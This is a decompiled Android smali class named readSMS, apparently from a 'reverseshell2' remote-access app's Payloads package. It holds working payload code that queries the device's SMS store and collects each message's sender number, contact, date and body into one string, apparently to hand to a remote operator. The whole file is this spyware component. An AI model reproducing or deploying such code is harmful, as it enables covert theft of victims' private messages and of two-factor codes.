Path: blob/master/Compiled_apk/smali/com/example/reverseshell2/Payloads/readSMS.smali
2476 views
.class public Lcom/example/reverseshell2/Payloads/readSMS; .super Ljava/lang/Object; .source "readSMS.java" # instance fields .field context:Landroid/content/Context; # direct methods .method public constructor <init>(Landroid/content/Context;)V .locals 0 .param p1, "context" # Landroid/content/Context; .line 12 invoke-direct {p0}, Ljava/lang/Object;-><init>()V .line 13 iput-object p1, p0, Lcom/example/reverseshell2/Payloads/readSMS;->context:Landroid/content/Context; .line 14 return-void .end method # virtual methods .method public readSMSBox(Ljava/lang/String;)Ljava/lang/String; .locals 17 .param p1, "box" # Ljava/lang/String; .line 18 new-instance v0, Ljava/lang/StringBuilder; invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V const-string v1, "content://sms/" invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-object/from16 v1, p1 invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v0 invoke-static {v0}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri; move-result-object v8 .line 19 .local v8, "SMSURI":Landroid/net/Uri; move-object/from16 v9, p0 iget-object v0, v9, Lcom/example/reverseshell2/Payloads/readSMS;->context:Landroid/content/Context; invoke-virtual {v0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver; move-result-object v2 const/4 v4, 0x0 const/4 v5, 0x0 const/4 v6, 0x0 const/4 v7, 0x0 move-object v3, v8 invoke-virtual/range {v2 .. v7}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor; move-result-object v2 .line 20 .local v2, "cur":Landroid/database/Cursor; const-string v3, "" .line 22 .local v3, "sms":Ljava/lang/String; :try_start_0 invoke-interface {v2}, Landroid/database/Cursor;->moveToFirst()Z move-result v0 if-eqz v0, :cond_1 .line 23 const/4 v0, 0x0 .local v0, "i":I :goto_0 invoke-interface {v2}, Landroid/database/Cursor;->getCount()I move-result v4 :try_end_0 .catch Ljava/lang/NullPointerException; {:try_start_0 .. :try_end_0} :catch_0 const-string v5, "\n" if-ge v0, v4, :cond_0 .line 24 :try_start_1 invoke-static {v0}, Ljava/lang/String;->valueOf(I)Ljava/lang/String; move-result-object v4 .line 25 .local v4, "iterator":Ljava/lang/String; const-string v6, "address" invoke-interface {v2, v6}, Landroid/database/Cursor;->getColumnIndexOrThrow(Ljava/lang/String;)I move-result v6 invoke-interface {v2, v6}, Landroid/database/Cursor;->getString(I)Ljava/lang/String; move-result-object v6 .line 26 .local v6, "number":Ljava/lang/String; const-string v7, "date" invoke-interface {v2, v7}, Landroid/database/Cursor;->getColumnIndexOrThrow(Ljava/lang/String;)I move-result v7 invoke-interface {v2, v7}, Landroid/database/Cursor;->getString(I)Ljava/lang/String; move-result-object v7 .line 27 .local v7, "date":Ljava/lang/String; const-string v10, "person" invoke-interface {v2, v10}, Landroid/database/Cursor;->getColumnIndexOrThrow(Ljava/lang/String;)I move-result v10 invoke-interface {v2, v10}, Landroid/database/Cursor;->getString(I)Ljava/lang/String; move-result-object v10 .line 28 .local v10, "person":Ljava/lang/String; invoke-static {v7}, Ljava/lang/Long;->parseLong(Ljava/lang/String;)J move-result-wide v11 invoke-static {v11, v12}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long; move-result-object v11 .line 29 .local v11, "epoch":Ljava/lang/Long; new-instance v12, Ljava/util/Date; invoke-virtual {v11}, Ljava/lang/Long;->longValue()J move-result-wide v13 const-wide/16 v15, 0x3e8 mul-long v13, v13, v15 invoke-direct {v12, v13, v14}, Ljava/util/Date;-><init>(J)V .line 30 .local v12, "fDate":Ljava/util/Date; invoke-virtual {v12}, Ljava/util/Date;->toString()Ljava/lang/String; move-result-object v13 move-object v7, v13 .line 31 const-string v13, "body" invoke-interface {v2, v13}, Landroid/database/Cursor;->getColumnIndexOrThrow(Ljava/lang/String;)I move-result v13 invoke-interface {v2, v13}, Landroid/database/Cursor;->getString(I)Ljava/lang/String; move-result-object v13 .line 32 .local v13, "body":Ljava/lang/String; new-instance v14, Ljava/lang/StringBuilder; invoke-direct {v14}, Ljava/lang/StringBuilder;-><init>()V const-string v15, "#" invoke-virtual {v14, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; invoke-virtual {v14, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; const-string v15, "\nNumber : " invoke-virtual {v14, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; invoke-virtual {v14, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; const-string v15, "\nPerson : " invoke-virtual {v14, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; invoke-virtual {v14, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; const-string v15, "\nDate : " invoke-virtual {v14, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; invoke-virtual {v14, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; const-string v15, "\nBody : " invoke-virtual {v14, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; invoke-virtual {v14, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; invoke-virtual {v14, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; invoke-virtual {v14}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v14 .line 33 .local v14, "fi":Ljava/lang/String; new-instance v15, Ljava/lang/StringBuilder; invoke-direct {v15}, Ljava/lang/StringBuilder;-><init>()V invoke-virtual {v15, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; invoke-virtual {v15, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; invoke-virtual {v15, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; invoke-virtual {v15}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v5 move-object v3, v5 .line 35 invoke-interface {v2}, Landroid/database/Cursor;->moveToNext()Z .line 23 nop .end local v4 # "iterator":Ljava/lang/String; .end local v6 # "number":Ljava/lang/String; .end local v7 # "date":Ljava/lang/String; .end local v10 # "person":Ljava/lang/String; .end local v11 # "epoch":Ljava/lang/Long; .end local v12 # "fDate":Ljava/util/Date; .end local v13 # "body":Ljava/lang/String; .end local v14 # "fi":Ljava/lang/String; add-int/lit8 v0, v0, 0x1 goto/16 :goto_0 .line 37 .end local v0 # "i":I :cond_0 new-instance v0, Ljava/lang/StringBuilder; invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v0 :try_end_1 .catch Ljava/lang/NullPointerException; {:try_start_1 .. :try_end_1} :catch_0 move-object v3, v0 .line 41 :cond_1 nop .line 42 return-object v3 .line 39 :catch_0 move-exception v0 .line 40 .local v0, "npe":Ljava/lang/NullPointerException; const-string v4, "" return-object v4 .end method